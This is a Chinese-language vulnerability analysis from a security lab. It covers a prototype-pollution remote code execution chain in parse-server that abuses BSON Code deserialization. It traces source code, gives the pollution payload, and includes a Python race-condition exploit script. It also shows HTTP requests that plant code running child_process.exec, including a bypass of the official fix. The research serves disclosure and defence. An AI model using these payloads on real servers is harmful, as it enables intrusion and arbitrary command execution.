作者：billion@知道创宇404实验室
时间：2023年3月31日

parse-server公布了一个原型污染的RCE漏洞，看起来同mongodb有关联，so跟进&&分析一下。

BSON潜在问题

parse-server使用的mongodb依赖包版本是3.6.11，在node-mongodb-drive <= 3.7.3 版本时，使用1.x版本的bson依赖处理数据。

根据BSON文档的介绍，存在一种Code类型，可以在反序列化时被执行

跟进BSON的序列化过程

      } else if (value['_bsontype'] === 'Code') {         index = serializeCode(           buffer,           key,           value,           index,           checkKeys,           depth,           serializeFunctions,           ignoreUndefined         );

当对象的_bsontype键为Code时，就会被判断为Code类型，后面就会调用serializeCode函数进行序列化。

在反序列化时，遇到Code类型，会进行eval操作

var isolateEval = function(functionString) {   // Contains the value we are going to set   var value = null;   // Eval the function   eval('value = ' + functionString);   return value; };

根据官方的文档，可以了解到这本身就是bson内置的功能，不过需要打开evalFunctions参数

翻翻源码可以看到

var deserializeObject = function(buffer, index, options, isArray) {   var evalFunctions = options['evalFunctions'] == null ? false : options['evalFunctions'];   var cacheFunctions = options['cacheFunctions'] == null ? false : options['cacheFunctions'];   var cacheFunctionsCrc32 =     options['cacheFunctionsCrc32'] == null ? false : options['cacheFunctionsCrc32'];

evalFunctions参数默认情况下是未定义的，所以可以用原型污染来利用，该特性可以一直利用到bson <= 4.1.0

Code上传点

mongodb在处理文件时，采用了一种叫GridFS的东西

看图大致可以了解到GridFS在存储文件时，把元数据(metadata)放到fs.files表，把文件内容放到fs.chunks表

跟进parse-server的源码，可以找到处理metadata的过程

node_modules/parse-server/lib/Routers/FilesRouter.js

node_modules/parse-server/lib/Adapters/Files/GridFSBucketAdapter.js

输入进来的metadata被直接传入到了数据库中，并没有进行过滤

在测试的时候，发现metadata并没有保存到数据库中

排查了一下middleware，可以找到以下验证

node_modules/parse-server/lib/middlewares.js

只有当fileViaJSON=true时，才会把fileData拷贝过去

  if (fileViaJSON) {     req.fileData = req.body.fileData; // We need to repopulate req.body with a buffer     var base64 = req.body.base64;     req.body = Buffer.from(base64, 'base64');   }

回溯一下

  var fileViaJSON = false;    if (!info.appId || !_cache.default.get(info.appId)) {     // See if we can find the app id on the body.     if (req.body instanceof Buffer) {        try {         req.body = JSON.parse(req.body);       } catch (e) {         return invalidRequest(req, res);       }        fileViaJSON = true;     }

当info.appId没有设置的话，就会进入if，fileViaJSON就被设置为true；或者是缓存中没有info.appId的信息

function handleParseHeaders(req, res, next) {   var mount = getMountForRequest(req);   var info = {     appId: req.get('X-Parse-Application-Id'),

向上翻翻代码，就可以看到appId的赋值

后面还会有一处校验

if (req.body && req.body._ApplicationId && _cache.default.get(req.body._ApplicationId) && (!info.masterKey || _cache.default.get(req.body._ApplicationId).masterKey === info.masterKey)) {       info.appId = req.body._ApplicationId;       info.javascriptKey = req.body._JavaScriptKey || '';      } else {       return invalidRequest(req, res);     }

这一步需要保证_ApplicationId是正确的appId，否则就退出了

所以认证这里有两种构造方式

No.1

让请求头中的X-Parse-Application-Id是一个不存在的appid，然后修改body中的_ApplicationId是正确的appid

在fs.files表中也能够看到上传的metadata信息

现在Code类型已经上传了，所以在找到一处原型污染，就可以RCE了

No.2

不设置X-Parse-Application-Id请求头

结果

原型污染

根据官方公告，应该在mongo目录下有原型污染，大致上过了一遍代码，感觉下面这一部分可能有

  for (var restKey in restUpdate) {     if (restUpdate[restKey] && restUpdate[restKey].__type === 'Relation') {       continue;     }      var out = transformKeyValueForUpdate(className, restKey, restUpdate[restKey], parseFormatSchema); // If the output value is an object with any $ keys, it's an     // operator that needs to be lifted onto the top level update     // object.      if (typeof out.value === 'object' && out.value !== null && out.value.__op) {       mongoUpdate[out.value.__op] = mongoUpdate[out.value.__op] || {};       mongoUpdate[out.value.__op][out.key] = out.value.arg;     } else {       mongoUpdate['$set'] = mongoUpdate['$set'] || {};       mongoUpdate['$set'][out.key] = out.value;     }   }

如果能控制out.value.__op out.key out.value.arg，那就可以污染原型的evalFunctions了

回溯变量，跟进transformKeyValueForUpdate()函数

const transformKeyValueForUpdate = (className, restKey, restValue, parseFormatSchema) => {   // Check if the schema is known since it's a built-in field.   var key = restKey;   var timeField = false;    switch (key) {     case 'objectId':     case '_id':       if (['_GlobalConfig', '_GraphQLConfig'].includes(className)) {         return {           key: key,           value: parseInt(restValue)         };       }        key = '_id';       break;      case 'createdAt':     case '_created_at':       key = '_created_at';       timeField = true;       break;      case 'updatedAt':     case '_updated_at':       key = '_updated_at';       timeField = true;       break;      case 'sessionToken':     case '_session_token':       key = '_session_token';       break;      case 'expiresAt':     case '_expiresAt':       key = 'expiresAt';       timeField = true;       break; ........     case '_rperm':     case '_wperm':       return {         key: key,         value: restValue       }; ......   }

返回值大都是{key, value}的形式，如果key是case中的任一个，那必然不可能返回__proto__，继续看后面的部分

if (parseFormatSchema.fields[key] && parseFormatSchema.fields[key].type === 'Pointer' || !parseFormatSchema.fields[key] && restValue && restValue.__type == 'Pointer') {     key = '_p_' + key;   } // Handle atomic values     var value = transformTopLevelAtom(restValue);    if (value !== CannotTransform) {     if (timeField && typeof value === 'string') {       value = new Date(value);     }      if (restKey.indexOf('.') > 0) {       return {         key,         value: restValue       };     }      return {//这里       key,       value     };   } // Handle arrays

在最终污染的位置restKey应该是evalFunctions，所以不会进入if (restKey.indexOf('.') > 0) {这个分支，可以通过第二个return返回key和value

跟进transformTopLevelAtom()函数

function transformTopLevelAtom(atom, field) {   switch (typeof atom) { .......     case 'object':       if (atom instanceof Date) {         // Technically dates are not rest format, but, it seems pretty         // clear what they should be transformed to, so let's just do it.         return atom;       }        if (atom === null) {         return atom;       } // TODO: check validity harder for the __type-defined types         if (atom.__type == 'Pointer') {         return `${atom.className}$${atom.objectId}`;       }        if (DateCoder.isValidJSON(atom)) {         return DateCoder.JSONToDatabase(atom);       }        if (BytesCoder.isValidJSON(atom)) {         return BytesCoder.JSONToDatabase(atom);       }        if (GeoPointCoder.isValidJSON(atom)) {         return GeoPointCoder.JSONToDatabase(atom);       }        if (PolygonCoder.isValidJSON(atom)) {         return PolygonCoder.JSONToDatabase(atom);       }        if (FileCoder.isValidJSON(atom)) {         return FileCoder.JSONToDatabase(atom);       }        return CannotTransform;      default:       // I don't think typeof can ever let us get here       throw new Parse.Error(Parse.Error.INTERNAL_SERVER_ERROR, `really did not expect value: ${atom}`);   } }

只需要让函数在前面的if中返回，就可以让value!==CannotTransform

挑一个FileCoder

var FileCoder = {   databaseToJSON(object) {     return {       __type: 'File',       name: object     };   },    isValidDatabaseObject(object) {     return typeof object === 'string';   },    JSONToDatabase(json) {     return json.name;   },    isValidJSON(value) {     return typeof value === 'object' && value !== null && value.__type === 'File';   }  };

汇总变量的变化，可以得到restUpdate的形式应该是下面这样

{ "evalFunctions":{     "__type":"File",     "name":{             "__op": "__proto__",         "arg": true     }     } }

在找了好久之后，大概发现下面这样一条调用链

node_modules/parse-server/lib/Adapters/Storage/Mongo/MongoTransform.js transformUpdate() node_modules/parse-server/lib/Adapters/Storage/Mongo/MongoStorageAdapter.js updateObjectsByQuery() node_modules/parse-server/lib/Controllers/DatabaseController.js update() node_modules/parse-server/lib/RestWrite.js  runBeforeSaveTrigger() node_modules/parse-server/lib/RestWrite.js  execute() node_modules/parse-server/lib/RestWrite.js  new RestWrite() node_modules/parse-server/lib/rest.js update() node_modules/parse-server/lib/Routers/ClassesRouter.js  handleUpdate()

在update之前，需要先创建一条数据

触发update

修改成restUpdate，debug看看流程对不对

跟进代码可以发现，parse-server会对修改之后的类型做判断，上传的是一个Object类型，修改的是File类型，两者不匹配，所以就退出了。并且update包的类型是根据__type和name来的

不是很好绕过。只能在create包上做修改

通过调试代码发现，create包也会经过同样的类型判断过程，所以只需要把update包，复制一份到create中就好了

create包

update包

服务端报错信息，应该可以确定，evalFunctions已经污染上了

为了保证不会因为服务端的报错，导致异常退出，这里用条件竞争来做

def triger_unserialize(item):     if item !=400:         requests.get(             url = file_path         )     r3 = requests.put(         url = url + f"/parse/classes/{path}/{objectId}",         data = json.dumps({             "evalFunctions":{                 "__type":"File",                 "name":{                     "__op":"__proto__",                     "arg":"1"                 }             },             "cheatMode":"false"         }),         headers = {             "X-Parse-Application-Id":f"{appid}",             'Content-Type': 'application/json'         }     )  with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:     futures = [executor.submit(triger_unserialize, item) for item in range(0,800)]

修复绕过

官方的修复措施是对metadata进行过滤，但是没有修复原型污染，所以，找一个新的可以上传Code类型的位置，就可以RCE

Hooks

创建hook函数

POST /parse/hooks/triggers HTTP/1.1 Host: ip:port User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Accept: */* Content-Type: application/json Content-Length: 254 Connection: close  { "_ApplicationId":"123", "className":"cname", "triggerName":"tname", "url":{ "_bsontype":"Code", "code":"delete ({}).__proto__.evalFunctions; require(`child_process`).exec('touch /tmp/123.txt')" }, "functionName":"f34", "_MasterKey":"123456" }

触发

GET /parse/hooks/functions/f34 HTTP/1.1 Host: ip:port User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Accept: */* Content-Length: 52 Content-Type: application/json Connection: close  { "_ApplicationId":"123", "_MasterKey":"123456" }

这种方式得知道MasterKey才能利用，还是有些限制的

在最新版(6.0.0)测试的时候发现，parse-server在5.1.0版本时，就已经把 node-mongodb-drive的版本换成了4.3.1

bson的版本也随之变成了4.6，就没有办法执行eval了

bson5.0中直接删除了该eval操作

https://jira.mongodb.org/browse/NODE-4711

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/2059/